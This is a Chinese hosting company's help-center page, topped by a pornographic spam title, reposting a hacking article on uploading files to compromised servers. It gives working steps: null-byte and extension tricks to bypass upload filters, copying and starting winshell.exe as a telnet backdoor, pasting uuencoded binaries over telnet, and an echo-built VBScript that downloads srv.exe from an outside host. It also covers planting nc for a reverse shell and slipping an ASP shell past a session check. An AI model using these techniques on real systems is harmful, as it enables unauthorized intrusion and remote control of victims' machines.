亚洲Aⅴ无码Av红楼在线观看_国产午夜福利涩爱AⅤ_国产sm调教一区二区三区_精品人妻一区二区三区不卡毛片

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

文件上傳技巧

發(fā)布時(shí)間:  2012/8/14 11:16:12
 文件上傳是很早以前的事了,最早那會常用的就是IPC連接,然后一個(gè)一個(gè)的COPY,自從動(dòng)網(wǎng)upfile漏洞出來以后,各種腳本系統(tǒng)如PHP.JSP下的文件漏洞紛紛暴出,原理都是大同小異,沒有過濾文件上傳路徑,導(dǎo)致可以抓包然后把空格20改成00,變成空字符NULL,系統(tǒng)是從右往左識別的,所以到空字符那就截?cái)嗔,更簡單的就是過濾文件上傳類型不完整,改后綴就可以解決了,這些上傳文件的漏洞,用萬能上傳工具就可以輕松搞定,不過漏洞文件名不同罷了。

還有一些另類的文件上傳方法,是在系統(tǒng)做了比較好的防范下完成的,資料來源感謝CD-LION提供一。

先COPY個(gè)winshell.exe吧,開個(gè)telnet端口,命令行下總比在瀏覽器里方便啊.

copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已復(fù)制一個(gè)文件 
啟動(dòng)它 d:\downloads\winzip32\winshell.exe 瀏覽器窗口會停好久, 
不用等的,程序已經(jīng)啟動(dòng)了,點(diǎn)停止,接著, 
斷開共享連接: net use \\myIP\c$ /del 完成 
1利用telnet上傳文件 by :jiangyf@usa.net 

如果ftp被關(guān)了,sendmail也不行,如何把編譯好的文件上傳到主機(jī)呢?  
方法很簡單:  
1.先把要上傳的文件用uuedcode進(jìn)行編碼,文件會變成大概下面的樣子:  
begin 644 file.bat  
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J  
M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I-  
M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-!  
M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@  
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O  
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``  
`  
end  
sum -r/size 17903/262  
全部都是可見的ASCII字符了 

2.用TELNET連接到主機(jī)后輸入  
$ cat >a  
然后用WINODWS的拷貝/粘貼,把文件粘貼到telnet窗口  
按^d  
在當(dāng)前目錄下產(chǎn)生文件a
3.uudecode a  
文件復(fù)原,然后chmod即可 

3腳本是非常好的東西,只要把源碼保存到一個(gè)文件中就能運(yùn)行。所以在shell下,用  
echo語句直接寫到一個(gè)文件中,在用相應(yīng)的解釋程序執(zhí)行就可以啦。這里是一個(gè)程序  
實(shí)例的簡化:  
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs  
echo xPost.Open "GET","http://167168.meibu.com/srv.exe";;,0 >>167168.vbs  
echo xPost.Send() >>167168.vbs  
echo Set sGet = CreateObject("ADODB.Stream") >>167168.vbs  
echo sGet.Mode = 3 >>167168.vbs  
echo sGet.Type = 1 >>167168.vbs  
echo sGet.Open() >>167168.vbs  
echo sGet.Write(xPost.responseBody) >>167168.vbs  
echo sGet.SaveToFile "srv.exe",2 >>167168.vbs  
然后執(zhí)行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放  
文件的網(wǎng)站路徑,srv.exe可以改成保存文件的路徑。 

4.start its:http://167168.meibu.com/ca.rar (看清楚,小心論壇自動(dòng)加的標(biāo)簽)  
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假設(shè)系統(tǒng)裝在c盤,且當(dāng)前環(huán)境是SYSTEM。如果是用戶環(huán)境,修改Default User為該用戶名)  
dir /s ca[1].rar  
然后會顯示ca[1].rar的具體位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar  
最后:  
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar  
del 0QMVC11H\ca[1].rar 

還有可以用EXE2BAT轉(zhuǎn)換成批處理,再上傳,這種方法只限于小文件,文件太長粘貼時(shí)會出錯(cuò),傳個(gè)NC做反向連接是不錯(cuò)的選擇。 
最近我還遇見一種校友錄系統(tǒng),只有注冊后再能上傳照片(SESSION),我注冊后發(fā)現(xiàn)可以上傳任意文件,可是只能解析圖片類型的后綴,這種情況應(yīng)該是在服務(wù)端又加了一層JSP認(rèn)正,如果用本地提交可以繞過JSP認(rèn)正,可是沒有登陸,第一層SESSION驗(yàn)證就不會通過了,上傳思路是把ASP文件改成JPG后綴上傳,然后抓包,這里的數(shù)據(jù)包已經(jīng)包含SESSION值了,再修改后綴為ASP,用NC提交,原理就是這樣,具體測試在進(jìn)行中..


本文出自:億恩科技【www.allwellnessguide.com】

服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線